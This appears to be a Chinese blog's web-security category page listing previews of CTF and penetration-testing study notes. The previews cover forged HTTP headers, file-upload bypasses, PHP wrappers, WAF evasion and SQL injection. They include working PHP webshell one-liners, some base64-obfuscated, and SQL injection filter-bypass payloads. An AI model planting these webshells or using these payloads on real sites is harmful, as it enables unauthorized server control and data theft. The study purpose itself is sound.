![](https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
web安全
文章平均质量分 78
是文倩呀
这个作者很懒,什么都没留下…
展开
-
web类型解题技巧
ctf中web类型题目HTTP协议类解题1.要求从某个IP或主机访问,一般是修改X-Forwarded-For,X-Forwarded-Host,CLIENT-IP,host参数的值2.要求从某国家访问,一般修改ACCEPT-Language值3.要求访问某个页面,修改referer4.有关身份认证类的,修改cookie的值web中出现的登录问题,需要用户名和密码web后台常用的万能密码可使用万能密码直接获取flag原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未原创 2021-12-21 15:46:38 · 2299 阅读 · 0 评论 -
文件上传基础及过滤方式
文件上传基础uploadlabs利用思路:常规类:扫描获取上传会员中心上传后台系统上传各种途径上传CMS类:已知CMS源码编辑器类:ckeditorfckeditorkindeditorxxxxeditor其他类/CVE:代码审计平台/三方应用通过图片上传文件扫描使用工具扫描出后台路径白盒查找通过代码分析到上传漏洞查找文件上传功能。文件上传漏洞如何查找及判断黑盒查找文件后台进入网站后台不一定获得网站权限,可以从后台获取网站权限会员中心通过图片原创 2021-12-21 15:45:01 · 1319 阅读 · 0 评论 -
一句话木马
基础类的一句话<?php @system($_POST["cmd"])?><?php @eval($_GET["code"])?><?php @eval($_POST['attack']);?>GIF89a? <script language="php">eval($_REQUEST[1])</script>编码的替换的类型<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),ba原创 2021-12-21 15:32:41 · 392 阅读 · 0 评论 -
文件上传漏洞总结
文件上传漏洞总结文件上传绕过的主要姿势:1、基于前台JS的验证,就是firebug下修改一下JS文件就绕过了2、基于文件后缀名的绕过,这里面的主要姿势有:利用后缀名大小写混用绕过、空格或者加点的方式绕过,还有对于PHP来说就是PHP3、PHP4、PHP5这种方式绕过,同时还可以考虑的是%00阶段绕过。这种绕过主要是利用了黑名单以及白名单的特点,去测试系统是采用白名单还是黑名单。3、基于文件类型的检测:Content-type4、基于文件头部信息的过滤考察结合点:白名单:控制目录配合解析漏洞 i原创 2021-12-21 15:32:07 · 1135 阅读 · 0 评论 -
PHP伪协议
文件包含伪协议PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。常见文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file.常见的伪协议:php:// — 访问各个输入/输出流(I/O streams)data:// —原创 2021-12-21 15:30:09 · 2837 阅读 · 1 评论 -
JSON schema
JSON schema 实战JSON Schema简介我们知道,JSON和XML相比,在很多方面具有更多的优势。未来,JSON在各方面取代XML,很有可能就是历史大势所趋。了解XML的都知道,XML Schema是以XML语言为基础,用于描述XML文档的结构以及校验XML文档内容,也就是我们常常见到的XSD(XML Schema Definition)文件。和XML Schema类似,JSON Schema是基于JSON格式,用于定义JSON数据结构以及校验JSON数据内容。JSON Schema官网原创 2021-12-21 15:24:37 · 762 阅读 · 0 评论 -
JSON基础
JSON基础1. 何为 JSONJSON( JavaScript Object Notation ),即 JavaScript 对象表示法。JSON 主要用于存储和交换文本信息,类似于XML。但是和 XML 相比,JSON 是更加轻量级的文本数据交换格式,具有更小、更快、更易解析的特点。JSON 具有自我描述性,更易理解。虽然 JSON 使用 JavaScript 语法来描述数据对象,但是,JSON 是独立于语言和平台的。JSON 解析器和 JSON 库支持许多不同的编程语言。2. JSON 基本语法原创 2021-12-21 15:10:57 · 92 阅读 · 0 评论 -
WAF绕过
WAF绕过数据1、大小写变换如:对某些关键字如:select、union、order、where进行关键字的过滤,能够采用SelEct、UniOn等大小写变换进行绕过。id=1UnIoN/**/SeLeCT1,user()2、使用嵌套如对某些关键字替换为空,能够采用嵌套双写进行绕过,如碰到select或者union等关键字时会将其替换为空,此时能够尝试SELEselectCT、UNIunionON进行绕过。3、空字节一些过滤器在碰到空字节会中止过滤,如id=1 %00 and 1=1或id=原创 2021-12-21 15:03:56 · 2277 阅读 · 0 评论 -
SQL注入学习详细过程
sql注入学习笔记一、union注入1.判断是否存在注入:2.加粗样式查询字段数量3.查询SQL语句插入位置4.获取数据库库名5.获取表名6.获取字段名7.获取数据union注入PHP代码二、Boolean注入mysql的几个内置函数:1.判断注入点2.判断数据库的长度3.获取数据库的名字4.获取表的总数5.获取第一个表的长度6.获取表的内容7.获取表的字段总数三、报错注入报错函数3.extractvalue()4.rand()+group()+count5.几何函数6.不存在的函数7.bigint数值操作原创 2021-04-19 10:28:13 · 724 阅读 · 0 评论